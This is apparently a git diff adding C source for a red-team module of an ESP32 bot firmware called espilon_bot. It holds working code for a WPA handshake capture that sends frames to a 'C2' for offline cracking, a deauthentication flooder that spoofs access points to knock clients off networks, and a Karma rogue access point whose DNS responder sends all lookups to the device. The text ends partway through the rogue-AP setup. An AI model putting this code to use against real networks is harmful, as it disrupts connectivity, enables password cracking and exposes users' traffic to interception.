||||
vTaskDelay(pdMS_TO_TICKS(500));
|
||||
|
||||
/* Report progress */
|
||||
if (s_result.captured) {
|
||||
ESP_LOGD(TAG, "Progress: M1=%c M2=%c M3=%c M4=%c",
|
||||
(s_result.captured & 0x01) ? 'Y' : '-',
|
||||
(s_result.captured & 0x02) ? 'Y' : '-',
|
||||
(s_result.captured & 0x04) ? 'Y' : '-',
|
||||
(s_result.captured & 0x08) ? 'Y' : '-');
|
||||
}
|
||||
}
|
||||
|
||||
/* Send results to C2 if we captured anything */
|
||||
if (s_result.captured) {
|
||||
char buf[128];
|
||||
for (int i = 0; i < 4; i++) {
|
||||
if (!(s_result.captured & (1 << i))) continue;
|
||||
|
||||
/* Format: EAPOL|<bssid>|<client>|M<n>|<hex_data> */
|
||||
/* Send the raw frame via msg_data for C3PO to process */
|
||||
snprintf(buf, sizeof(buf),
|
||||
"EAPOL|%02X%02X%02X%02X%02X%02X|%02X%02X%02X%02X%02X%02X|M%d|%zu",
|
||||
s_result.bssid[0], s_result.bssid[1], s_result.bssid[2],
|
||||
s_result.bssid[3], s_result.bssid[4], s_result.bssid[5],
|
||||
s_result.client[0], s_result.client[1], s_result.client[2],
|
||||
s_result.client[3], s_result.client[4], s_result.client[5],
|
||||
i + 1, s_result.frames[i].len);
|
||||
msg_data(TAG, buf, strlen(buf), false, "");
|
||||
|
||||
/* Send the raw EAPOL bytes */
|
||||
msg_data(TAG, s_result.frames[i].data, s_result.frames[i].len,
|
||||
(i == 3 || !(s_result.captured & ~((1 << (i+1)) - 1))),
|
||||
"");
|
||||
}
|
||||
|
||||
snprintf(buf, sizeof(buf), "Capture done: %s (%d/4 messages)",
|
||||
s_result.complete ? "COMPLETE" : "partial",
|
||||
__builtin_popcount(s_result.captured));
|
||||
msg_info(TAG, buf, "");
|
||||
}
|
||||
|
||||
rt_promisc_unregister(&s_capture_handler);
|
||||
rt_promisc_disable();
|
||||
rt_attack_stop();
|
||||
|
||||
ESP_LOGI(TAG, "Capture stopped: %d/4 messages",
|
||||
__builtin_popcount(s_result.captured));
|
||||
|
||||
atomic_store(&s_active, false);
|
||||
s_task = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
void rt_capture_start(const uint8_t bssid[6], uint8_t channel, bool send_deauth)
|
||||
{
|
||||
if (atomic_load(&s_active)) {
|
||||
ESP_LOGW(TAG, "Capture already running");
|
||||
return;
|
||||
}
|
||||
|
||||
if (rt_attack_start(RT_ATTACK_CAPTURE) != ESP_OK) {
|
||||
ESP_LOGW(TAG, "Cannot start: another attack running (%s)",
|
||||
rt_attack_name());
|
||||
return;
|
||||
}
|
||||
|
||||
memcpy(s_target_bssid, bssid, 6);
|
||||
s_target_channel = channel;
|
||||
s_send_deauth = send_deauth;
|
||||
|
||||
atomic_store(&s_active, true);
|
||||
|
||||
xTaskCreatePinnedToCore(
|
||||
capture_task,
|
||||
"rt_capture",
|
||||
6144,
|
||||
NULL,
|
||||
6,
|
||||
&s_task,
|
||||
1 /* Core 1 */
|
||||
);
|
||||
}
|
||||
|
||||
void rt_capture_stop(void)
|
||||
{
|
||||
atomic_store(&s_active, false);
|
||||
}
|
||||
|
||||
bool rt_capture_is_active(void)
|
||||
{
|
||||
return atomic_load(&s_active);
|
||||
}
|
||||
|
||||
const rt_capture_result_t *rt_capture_get_result(void)
|
||||
{
|
||||
return &s_result;
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_REDTEAM && CONFIG_RT_CAPTURE */
|
||||
51
espilon_bot/components/mod_redteam/rt_capture.h
Normal file
51
espilon_bot/components/mod_redteam/rt_capture.h
Normal file
@ -0,0 +1,51 @@
|
||||
/*
|
||||
* rt_capture.h
|
||||
* WPA/WPA2 4-way handshake (EAPOL) capture for offline cracking.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define RT_CAPTURE_MAX_EAPOL_LEN 256
|
||||
|
||||
/* Captured EAPOL frame */
|
||||
typedef struct {
|
||||
uint8_t data[RT_CAPTURE_MAX_EAPOL_LEN];
|
||||
size_t len;
|
||||
uint8_t msg_num; /* 1-4 for each handshake message */
|
||||
} rt_eapol_frame_t;
|
||||
|
||||
/* Capture result */
|
||||
typedef struct {
|
||||
uint8_t bssid[6];
|
||||
uint8_t client[6];
|
||||
rt_eapol_frame_t frames[4]; /* M1..M4 */
|
||||
uint8_t captured; /* bitmask: bit 0=M1, bit 1=M2, etc. */
|
||||
bool complete; /* all 4 messages captured */
|
||||
} rt_capture_result_t;
|
||||
|
||||
/*
|
||||
* Start handshake capture.
|
||||
* bssid – target AP BSSID (6 bytes)
|
||||
* channel – WiFi channel (1-13), 0 = current
|
||||
* send_deauth – if true, send a few deauth frames to force reconnection
|
||||
*/
|
||||
void rt_capture_start(const uint8_t bssid[6], uint8_t channel, bool send_deauth);
|
||||
|
||||
/* Stop capture. */
|
||||
void rt_capture_stop(void);
|
||||
|
||||
/* True if capture is running. */
|
||||
bool rt_capture_is_active(void);
|
||||
|
||||
/* Get the current capture result (may be incomplete). */
|
||||
const rt_capture_result_t *rt_capture_get_result(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
206
espilon_bot/components/mod_redteam/rt_deauth.c
Normal file
206
espilon_bot/components/mod_redteam/rt_deauth.c
Normal file
@ -0,0 +1,206 @@
|
||||
/*
|
||||
* rt_deauth.c
|
||||
* 802.11 deauthentication frame injection via esp_wifi_80211_tx().
|
||||
*
|
||||
* Sends deauth frames to disconnect clients from an AP.
|
||||
* Supports targeted (single client) and broadcast (all clients) modes.
|
||||
*
|
||||
* Uses rt_promisc for promiscuous mode management and rt_attack for
|
||||
* mutual exclusion with other offensive operations.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_REDTEAM
|
||||
|
||||
#include <string.h>
|
||||
#include <stdatomic.h>
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
#include "rt_deauth.h"
|
||||
#include "rt_promisc.h"
|
||||
#include "rt_attack.h"
|
||||
|
||||
#define TAG "RT_DEAUTH"
|
||||
|
||||
/* ============================================================
|
||||
* 802.11 Deauth frame (26 bytes)
|
||||
* ============================================================
|
||||
*
|
||||
* Frame Control: 0x00C0 (type=0 mgmt, subtype=0xC deauth)
|
||||
* Duration: 0x0000
|
||||
* Addr1: Destination (client or FF:FF:FF:FF:FF:FF)
|
||||
* Addr2: Source (BSSID — we impersonate the AP)
|
||||
* Addr3: BSSID
|
||||
* Seq Control: 0x0000 (auto-filled by driver if en_sys_seq=true)
|
||||
* Reason Code: 0x0007 (Class 3 frame from nonassociated STA)
|
||||
*/
|
||||
typedef struct __attribute__((packed)) {
|
||||
uint16_t frame_ctrl;
|
||||
uint16_t duration;
|
||||
uint8_t addr1[6]; /* receiver */
|
||||
uint8_t addr2[6]; /* transmitter (spoofed AP) */
|
||||
uint8_t addr3[6]; /* BSSID */
|
||||
uint16_t seq_ctrl;
|
||||
uint16_t reason;
|
||||
} deauth_frame_t;
|
||||
|
||||
_Static_assert(sizeof(deauth_frame_t) == 26, "deauth frame must be 26 bytes");
|
||||
|
||||
static const uint8_t BROADCAST_MAC[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
|
||||
|
||||
/* Task state */
|
||||
static TaskHandle_t s_task = NULL;
|
||||
static atomic_bool s_active = ATOMIC_VAR_INIT(false);
|
||||
|
||||
/* Parameters passed to the task */
|
||||
typedef struct {
|
||||
uint8_t bssid[6];
|
||||
uint8_t client[6];
|
||||
bool broadcast;
|
||||
uint8_t channel;
|
||||
uint32_t count;
|
||||
uint32_t delay_ms;
|
||||
} deauth_params_t;
|
||||
|
||||
static deauth_params_t s_params;
|
||||
|
||||
/* ============================================================
|
||||
* Deauth task — runs on Core 1
|
||||
* ============================================================ */
|
||||
static void deauth_task(void *arg)
|
||||
{
|
||||
deauth_params_t *p = (deauth_params_t *)arg;
|
||||
|
||||
/* Switch to target channel via the shared dispatcher */
|
||||
if (p->channel > 0 && p->channel <= 13) {
|
||||
rt_promisc_enable();
|
||||
rt_promisc_set_channel(p->channel);
|
||||
}
|
||||
|
||||
/* Build the deauth frame */
|
||||
deauth_frame_t frame;
|
||||
memset(&frame, 0, sizeof(frame));
|
||||
frame.frame_ctrl = 0x00C0; /* deauth */
|
||||
frame.reason = 0x0007; /* Class 3 frame from nonassociated STA */
|
||||
|
||||
/* Addr2/Addr3 = BSSID (we pretend to be the AP) */
|
||||
memcpy(frame.addr2, p->bssid, 6);
|
||||
memcpy(frame.addr3, p->bssid, 6);
|
||||
|
||||
/* Addr1 = target client or broadcast */
|
||||
if (p->broadcast) {
|
||||
memcpy(frame.addr1, BROADCAST_MAC, 6);
|
||||
} else {
|
||||
memcpy(frame.addr1, p->client, 6);
|
||||
}
|
||||
|
||||
uint32_t delay = p->delay_ms ? p->delay_ms : 10;
|
||||
uint32_t sent = 0;
|
||||
bool continuous = (p->count == 0);
|
||||
|
||||
ESP_LOGI(TAG, "Deauth started: bssid=%02X:%02X:%02X:%02X:%02X:%02X "
|
||||
"target=%s ch=%d count=%s delay=%"PRIu32"ms",
|
||||
p->bssid[0], p->bssid[1], p->bssid[2],
|
||||
p->bssid[3], p->bssid[4], p->bssid[5],
|
||||
p->broadcast ? "broadcast" : "targeted",
|
||||
p->channel,
|
||||
continuous ? "infinite" : "finite",
|
||||
delay);
|
||||
|
||||
while (atomic_load(&s_active)) {
|
||||
/* Send deauth from AP to client */
|
||||
esp_wifi_80211_tx(WIFI_IF_STA, &frame, sizeof(frame), false);
|
||||
|
||||
/* Also send deauth from client to AP (bidirectional) */
|
||||
if (!p->broadcast) {
|
||||
deauth_frame_t rev;
|
||||
memcpy(&rev, &frame, sizeof(rev));
|
||||
memcpy(rev.addr1, p->bssid, 6); /* receiver = AP */
|
||||
memcpy(rev.addr2, p->client, 6); /* transmitter = client */
|
||||
/* addr3 stays = BSSID */
|
||||
esp_wifi_80211_tx(WIFI_IF_STA, &rev, sizeof(rev), false);
|
||||
}
|
||||
|
||||
sent++;
|
||||
|
||||
if (!continuous && sent >= p->count) {
|
||||
break;
|
||||
}
|
||||
|
||||
vTaskDelay(pdMS_TO_TICKS(delay));
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Deauth stopped: %"PRIu32" frames sent", sent * (p->broadcast ? 1 : 2));
|
||||
|
||||
rt_promisc_disable();
|
||||
rt_attack_stop();
|
||||
atomic_store(&s_active, false);
|
||||
s_task = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
void rt_deauth_start(const uint8_t bssid[6],
|
||||
const uint8_t *client,
|
||||
uint8_t channel,
|
||||
uint32_t count,
|
||||
uint32_t delay_ms)
|
||||
{
|
||||
if (atomic_load(&s_active)) {
|
||||
rt_deauth_stop();
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
}
|
||||
|
||||
/* Acquire the attack lock */
|
||||
if (rt_attack_start(RT_ATTACK_DEAUTH) != ESP_OK) {
|
||||
ESP_LOGW(TAG, "Cannot start deauth: another attack is running (%s)",
|
||||
rt_attack_name());
|
||||
return;
|
||||
}
|
||||
|
||||
memcpy(s_params.bssid, bssid, 6);
|
||||
|
||||
if (client == NULL || memcmp(client, BROADCAST_MAC, 6) == 0) {
|
||||
memcpy(s_params.client, BROADCAST_MAC, 6);
|
||||
s_params.broadcast = true;
|
||||
} else {
|
||||
memcpy(s_params.client, client, 6);
|
||||
s_params.broadcast = false;
|
||||
}
|
||||
|
||||
s_params.channel = channel;
|
||||
s_params.count = count;
|
||||
s_params.delay_ms = delay_ms;
|
||||
|
||||
atomic_store(&s_active, true);
|
||||
|
||||
xTaskCreatePinnedToCore(
|
||||
deauth_task,
|
||||
"rt_deauth",
|
||||
4096,
|
||||
&s_params,
|
||||
6,
|
||||
&s_task,
|
||||
1 /* Core 1 */
|
||||
);
|
||||
}
|
||||
|
||||
void rt_deauth_stop(void)
|
||||
{
|
||||
atomic_store(&s_active, false);
|
||||
/* Task will self-delete and release the attack lock */
|
||||
}
|
||||
|
||||
bool rt_deauth_is_active(void)
|
||||
{
|
||||
return atomic_load(&s_active);
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_REDTEAM */
|
||||
36
espilon_bot/components/mod_redteam/rt_deauth.h
Normal file
36
espilon_bot/components/mod_redteam/rt_deauth.h
Normal file
@ -0,0 +1,36 @@
|
||||
/*
|
||||
* rt_deauth.h
|
||||
* 802.11 deauthentication frame injection.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Start sending deauth frames.
|
||||
* bssid – target AP BSSID (6 bytes)
|
||||
* client – target client MAC, or NULL/broadcast for all clients
|
||||
* channel – WiFi channel (1-13), 0 = auto-detect from scan
|
||||
* count – number of frames to send, 0 = continuous until stop
|
||||
* delay_ms – delay between bursts (default 10)
|
||||
*/
|
||||
void rt_deauth_start(const uint8_t bssid[6],
|
||||
const uint8_t *client,
|
||||
uint8_t channel,
|
||||
uint32_t count,
|
||||
uint32_t delay_ms);
|
||||
|
||||
/* Stop the deauth task. */
|
||||
void rt_deauth_stop(void);
|
||||
|
||||
/* True if deauth task is running. */
|
||||
bool rt_deauth_is_active(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
598
espilon_bot/components/mod_redteam/rt_karma.c
Normal file
598
espilon_bot/components/mod_redteam/rt_karma.c
Normal file
@ -0,0 +1,598 @@
|
||||
/*
|
||||
* rt_karma.c
|
||||
* Karma attack — listens for WiFi probe requests in promiscuous mode,
|
||||
* responds with probe responses matching the requested SSID, then
|
||||
* starts a rogue SoftAP with the most-requested SSID.
|
||||
*
|
||||
* Self-contained: does NOT depend on mod_fakeAP. Uses its own
|
||||
* minimal SoftAP + DNS responder.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#if defined(CONFIG_MODULE_REDTEAM) && defined(CONFIG_RT_KARMA)
|
||||
|
||||
#include <string.h>
|
||||
#include <stdatomic.h>
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_log.h"
|
||||
#include "esp_random.h"
|
||||
#include "esp_timer.h"
|
||||
#include "esp_netif.h"
|
||||
#include "lwip/sockets.h"
|
||||
#include "lwip/dns.h"
|
||||
#include "esp_event.h"
|
||||
|
||||
#include "rt_karma.h"
|
||||
#include "rt_promisc.h"
|
||||
#include "rt_attack.h"
|
||||
|
||||
#define TAG "RT_KARMA"
|
||||
|
||||
/* ============================================================
|
||||
* IEEE 802.11 frame helpers
|
||||
* ============================================================ */
|
||||
|
||||
/* Management frame header (24 bytes) */
|
||||
typedef struct __attribute__((packed)) {
|
||||
uint16_t frame_ctrl;
|
||||
uint16_t duration;
|
||||
uint8_t addr1[6]; /* destination */
|
||||
uint8_t addr2[6]; /* source (our BSSID) */
|
||||
uint8_t addr3[6]; /* BSSID */
|
||||
uint16_t seq_ctrl;
|
||||
} mgmt_hdr_t;
|
||||
|
||||
_Static_assert(sizeof(mgmt_hdr_t) == 24, "mgmt header must be 24 bytes");
|
||||
|
||||
/* Probe Response fixed fields (12 bytes) */
|
||||
typedef struct __attribute__((packed)) {
|
||||
uint64_t timestamp;
|
||||
uint16_t beacon_interval; /* 0x0064 = 100 TU */
|
||||
uint16_t capability; /* 0x0421 = ESS + short preamble + short slot */
|
||||
} probe_resp_fixed_t;
|
||||
|
||||
_Static_assert(sizeof(probe_resp_fixed_t) == 12, "probe resp fixed fields must be 12 bytes");
|
||||
|
||||
/* ============================================================
|
||||
* State
|
||||
* ============================================================ */
|
||||
|
||||
static atomic_bool s_active = ATOMIC_VAR_INIT(false);
|
||||
static TaskHandle_t s_task = NULL;
|
||||
static TaskHandle_t s_dns_task = NULL;
|
||||
|
||||
/* Our fake BSSID (generated at start) */
|
||||
static uint8_t s_bssid[6];
|
||||
|
||||
/* Client tracking — circular buffer */
|
||||
static rt_karma_client_t s_clients[RT_KARMA_MAX_CLIENTS];
|
||||
static int s_client_count = 0;
|
||||
|
||||
/* Most popular SSID for SoftAP */
|
||||
static char s_top_ssid[33] = {0};
|
||||
|
||||
/* SoftAP netif handle */
|
||||
static esp_netif_t *s_ap_netif = NULL;
|
||||
|
||||
/* ============================================================
|
||||
* Client tracking
|
||||
* ============================================================ */
|
||||
|
||||
static int find_client(const uint8_t mac[6])
|
||||
{
|
||||
for (int i = 0; i < s_client_count; i++) {
|
||||
if (memcmp(s_clients[i].mac, mac, 6) == 0)
|
||||
return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
static void track_client(const uint8_t mac[6], const char *ssid)
|
||||
{
|
||||
int64_t now = esp_timer_get_time() / 1000;
|
||||
int idx = find_client(mac);
|
||||
|
||||
if (idx >= 0) {
|
||||
/* Update existing */
|
||||
s_clients[idx].last_seen_ms = now;
|
||||
if (ssid[0] && strcmp(s_clients[idx].ssid, ssid) != 0) {
|
||||
strncpy(s_clients[idx].ssid, ssid, 32);
|
||||
s_clients[idx].ssid[32] = '\0';
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
/* Add new — circular overwrite if full */
|
||||
idx = s_client_count;
|
||||
if (idx >= RT_KARMA_MAX_CLIENTS) {
|
||||
idx = 0; /* overwrite oldest */
|
||||
/* Shift is expensive; just overwrite slot 0 for simplicity */
|
||||
} else {
|
||||
s_client_count++;
|
||||
}
|
||||
|
||||
memcpy(s_clients[idx].mac, mac, 6);
|
||||
strncpy(s_clients[idx].ssid, ssid, 32);
|
||||
s_clients[idx].ssid[32] = '\0';
|
||||
s_clients[idx].first_seen_ms = now;
|
||||
s_clients[idx].last_seen_ms = now;
|
||||
s_clients[idx].connected = false;
|
||||
|
||||
ESP_LOGI(TAG, "New probe from %02X:%02X:%02X:%02X:%02X:%02X for '%s'",
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], ssid);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Build and send probe response
|
||||
* ============================================================ */
|
||||
|
||||
static void send_probe_response(const uint8_t dst[6], const char *ssid, uint8_t channel)
|
||||
{
|
||||
size_t ssid_len = strlen(ssid);
|
||||
if (ssid_len > 32) ssid_len = 32;
|
||||
|
||||
/* Supported rates IE (mandatory) */
|
||||
static const uint8_t rates[] = { 0x82, 0x84, 0x8B, 0x96,
|
||||
0x0C, 0x12, 0x18, 0x24 };
|
||||
/* Frame layout:
|
||||
* mgmt_hdr(24) + fixed(12) + SSID IE(2+len) + rates IE(2+8) + DS IE(2+1) */
|
||||
size_t frame_len = sizeof(mgmt_hdr_t) + sizeof(probe_resp_fixed_t)
|
||||
+ 2 + ssid_len + 2 + sizeof(rates) + 2 + 1;
|
||||
|
||||
uint8_t frame[128]; /* max needed ~80 bytes */
|
||||
if (frame_len > sizeof(frame)) return;
|
||||
memset(frame, 0, sizeof(frame));
|
||||
|
||||
/* Header: probe response = type 0, subtype 5 → frame_ctrl = 0x0050 */
|
||||
mgmt_hdr_t *hdr = (mgmt_hdr_t *)frame;
|
||||
hdr->frame_ctrl = 0x0050;
|
||||
memcpy(hdr->addr1, dst, 6);
|
||||
memcpy(hdr->addr2, s_bssid, 6);
|
||||
memcpy(hdr->addr3, s_bssid, 6);
|
||||
|
||||
/* Fixed fields */
|
||||
probe_resp_fixed_t *fixed = (probe_resp_fixed_t *)(frame + sizeof(mgmt_hdr_t));
|
||||
fixed->timestamp = 0; /* driver fills this */
|
||||
fixed->beacon_interval = 0x0064; /* 100 TU */
|
||||
fixed->capability = 0x0421; /* ESS + short preamble + short slot */
|
||||
|
||||
/* Tagged parameters */
|
||||
uint8_t *ie = frame + sizeof(mgmt_hdr_t) + sizeof(probe_resp_fixed_t);
|
||||
|
||||
/* SSID IE (tag 0) */
|
||||
*ie++ = 0x00;
|
||||
*ie++ = (uint8_t)ssid_len;
|
||||
memcpy(ie, ssid, ssid_len);
|
||||
ie += ssid_len;
|
||||
|
||||
/* Supported rates IE (tag 1) */
|
||||
*ie++ = 0x01;
|
||||
*ie++ = sizeof(rates);
|
||||
memcpy(ie, rates, sizeof(rates));
|
||||
ie += sizeof(rates);
|
||||
|
||||
/* DS Parameter Set IE (tag 3) — current channel */
|
||||
*ie++ = 0x03;
|
||||
*ie++ = 0x01;
|
||||
*ie++ = channel;
|
||||
|
||||
esp_wifi_80211_tx(WIFI_IF_STA, frame, frame_len, false);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Promiscuous callback — capture probe requests
|
||||
* ============================================================ */
|
||||
|
||||
static void IRAM_ATTR karma_promisc_cb(void *buf, wifi_promiscuous_pkt_type_t type)
|
||||
{
|
||||
if (type != WIFI_PKT_MGMT) return;
|
||||
|
||||
wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf;
|
||||
const uint8_t *payload = pkt->payload;
|
||||
|
||||
/* Frame control */
|
||||
uint16_t fc = payload[0] | (payload[1] << 8);
|
||||
uint8_t subtype = (fc >> 4) & 0x0F;
|
||||
|
||||
/* Probe request = type 0 (mgmt), subtype 4 */
|
||||
if (subtype != 4) return;
|
||||
|
||||
/* Extract source MAC (addr2, offset 10) */
|
||||
const uint8_t *src_mac = payload + 10;
|
||||
|
||||
/* Skip our own BSSID */
|
||||
if (memcmp(src_mac, s_bssid, 6) == 0) return;
|
||||
|
||||
/* Parse SSID IE from body (offset 24 for mgmt frames) */
|
||||
size_t body_start = 24;
|
||||
size_t pkt_len = pkt->rx_ctrl.sig_len;
|
||||
if (pkt_len > 4) pkt_len -= 4; /* strip FCS */
|
||||
if (pkt_len <= body_start + 2) return;
|
||||
|
||||
const uint8_t *body = payload + body_start;
|
||||
size_t body_len = pkt_len - body_start;
|
||||
|
||||
/* First IE should be SSID (tag 0) */
|
||||
if (body[0] != 0x00) return;
|
||||
uint8_t ssid_len = body[1];
|
||||
if (ssid_len == 0 || ssid_len > 32) return; /* skip broadcast probes */
|
||||
if (2 + ssid_len > body_len) return;
|
||||
|
||||
char ssid[33];
|
||||
memcpy(ssid, body + 2, ssid_len);
|
||||
ssid[ssid_len] = '\0';
|
||||
|
||||
/* Track this client */
|
||||
track_client(src_mac, ssid);
|
||||
|
||||
/* Respond with a probe response matching their SSID */
|
||||
send_probe_response(src_mac, ssid, pkt->rx_ctrl.channel);
|
||||
}
|
||||
|
||||
/* Handler for the promiscuous dispatcher */
|
||||
static const rt_promisc_handler_t s_karma_handler = {
|
||||
.cb = karma_promisc_cb,
|
||||
.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT,
|
||||
.tag = "karma",
|
||||
};
|
||||
|
||||
/* ============================================================
|
||||
* Mini DNS responder — responds our AP IP for all queries
|
||||
* ============================================================ */
|
||||
|
||||
static void dns_responder_task(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
|
||||
int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||
if (sock < 0) {
|
||||
ESP_LOGE(TAG, "DNS socket failed");
|
||||
vTaskDelete(NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
struct sockaddr_in addr = {
|
||||
.sin_family = AF_INET,
|
||||
.sin_port = htons(53),
|
||||
.sin_addr.s_addr = INADDR_ANY,
|
||||
};
|
||||
|
||||
int opt = 1;
|
||||
setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
|
||||
|
||||
if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
|
||||
ESP_LOGE(TAG, "DNS bind failed");
|
||||
close(sock);
|
||||
vTaskDelete(NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
/* Our AP IP = 192.168.4.1 */
|
||||
uint8_t ap_ip[4] = {192, 168, 4, 1};
|
||||
|
||||
uint8_t buf[512];
|
||||
struct sockaddr_in client_addr;
|
||||
socklen_t client_len;
|
||||
|
||||
while (atomic_load(&s_active)) {
|
||||
client_len = sizeof(client_addr);
|
||||
int n = recvfrom(sock, buf, sizeof(buf), 0,
|
||||
(struct sockaddr *)&client_addr, &client_len);
|
||||
if (n < 12) continue; /* too short for DNS header */
|
||||
|
||||
/* Build a minimal DNS response:
|
||||
* - Copy transaction ID
|
||||
* - Set flags: response + recursion available
|
||||
* - Copy the question section
|
||||
* - Append a single A record answer
|
||||
*/
|
||||
uint8_t resp[512];
|
||||
int resp_len = 0;
|
||||
|
||||
/* Transaction ID (2 bytes) */
|
||||
resp[0] = buf[0];
|
||||
resp[1] = buf[1];
|
||||
|
||||
/* Flags: standard response, no error */
|
||||
resp[2] = 0x81; /* QR=1, RD=1 */
|
||||
resp[3] = 0x80; /* RA=1 */
|
||||
|
||||
/* Questions: 1, Answers: 1, Authority: 0, Additional: 0 */
|
||||
resp[4] = 0x00; resp[5] = 0x01; /* QDCOUNT */
|
||||
resp[6] = 0x00; resp[7] = 0x01; /* ANCOUNT */
|
||||
resp[8] = 0x00; resp[9] = 0x00; /* NSCOUNT */
|
||||
resp[10] = 0x00; resp[11] = 0x00; /* ARCOUNT */
|
||||
|
||||
resp_len = 12;
|
||||
|
||||
/* Copy the question section from the request */
|
||||
int q_start = 12;
|
||||
int q_pos = q_start;
|
||||
/* Walk past the QNAME (labels terminated by 0x00) */
|
||||
while (q_pos < n && buf[q_pos] != 0x00) {
|
||||
q_pos += 1 + buf[q_pos]; /* skip label */
|
||||
}
|
||||
q_pos++; /* skip the 0x00 terminator */
|
||||
q_pos += 4; /* skip QTYPE(2) + QCLASS(2) */
|
||||
|
||||
int q_len = q_pos - q_start;
|
||||
if (resp_len + q_len > (int)sizeof(resp) - 16) {
|
||||
continue; /* too long */
|
||||
}
|
||||
memcpy(resp + resp_len, buf + q_start, q_len);
|
||||
resp_len += q_len;
|
||||
|
||||
/* Answer: pointer to QNAME + A record */
|
||||
resp[resp_len++] = 0xC0; /* name pointer */
|
||||
resp[resp_len++] = 0x0C; /* offset 12 = start of question */
|
||||
resp[resp_len++] = 0x00; resp[resp_len++] = 0x01; /* TYPE A */
|
||||
resp[resp_len++] = 0x00; resp[resp_len++] = 0x01; /* CLASS IN */
|
||||
resp[resp_len++] = 0x00; resp[resp_len++] = 0x00;
|
||||
resp[resp_len++] = 0x00; resp[resp_len++] = 0x3C; /* TTL = 60s */
|
||||
resp[resp_len++] = 0x00; resp[resp_len++] = 0x04; /* RDLENGTH = 4 */
|
||||
memcpy(resp + resp_len, ap_ip, 4);
|
||||
resp_len += 4;
|
||||
|
||||
sendto(sock, resp, resp_len, 0,
|
||||
(struct sockaddr *)&client_addr, client_len);
|
||||
}
|
||||
|
||||
close(sock);
|
||||
s_dns_task = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Find the most-requested SSID
|
||||
* ============================================================ */
|
||||
|
||||
static void find_top_ssid(void)
|
||||
{
|
||||
/* Simple frequency count on client SSIDs */
|
||||
typedef struct { char ssid[33]; int count; } freq_t;
|
||||
freq_t freq[RT_KARMA_MAX_CLIENTS];
|
||||
int freq_count = 0;
|
||||
|
||||
for (int i = 0; i < s_client_count; i++) {
|
||||
if (s_clients[i].ssid[0] == '\0') continue;
|
||||
bool found = false;
|
||||
for (int j = 0; j < freq_count; j++) {
|
||||
if (strcmp(freq[j].ssid, s_clients[i].ssid) == 0) {
|
||||
freq[j].count++;
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!found && freq_count < RT_KARMA_MAX_CLIENTS) {
|
||||
strncpy(freq[freq_count].ssid, s_clients[i].ssid, 32);
|
||||
freq[freq_count].ssid[32] = '\0';
|
||||
freq[freq_count].count = 1;
|
||||
freq_count++;
|
||||
}
|
||||
}
|
||||
|
||||
/* Find max */
|
||||
int max_count = 0;
|
||||
for (int i = 0; i < freq_count; i++) {
|
||||
if (freq[i].count > max_count) {
|
||||
max_count = freq[i].count;
|
||||
strncpy(s_top_ssid, freq[i].ssid, 32);
|
||||
s_top_ssid[32] = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Start SoftAP with the top SSID
|
||||
* ============================================================ */
|
||||
|
||||
static esp_err_t start_rogue_ap(const char *ssid)
|
||||
{
|
||||
/* Switch to AP+STA mode */
|
||||
esp_err_t ret = esp_wifi_set_mode(WIFI_MODE_APSTA);
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "Failed to set APSTA mode: %s", esp_err_to_name(ret));
|
||||
return ret;
|
||||
}
|
||||
|
||||
/* Create AP netif if needed */
|
||||
if (!s_ap_netif) {
|
||||
s_ap_netif = esp_netif_create_default_wifi_ap();
|
||||
}
|
||||
|
||||
wifi_config_t ap_cfg = {
|
||||
.ap = {
|
||||
.channel = 1,
|
||||
.max_connection = 4,
|
||||
.authmode = WIFI_AUTH_OPEN,
|
||||
},
|
||||
};
|
||||
strncpy((char *)ap_cfg.ap.ssid, ssid, sizeof(ap_cfg.ap.ssid) - 1);
|
||||
ap_cfg.ap.ssid_len = strlen(ssid);
|
||||
|
||||
ret = esp_wifi_set_config(WIFI_IF_AP, &ap_cfg);
|
||||
if (ret != ESP_OK) {
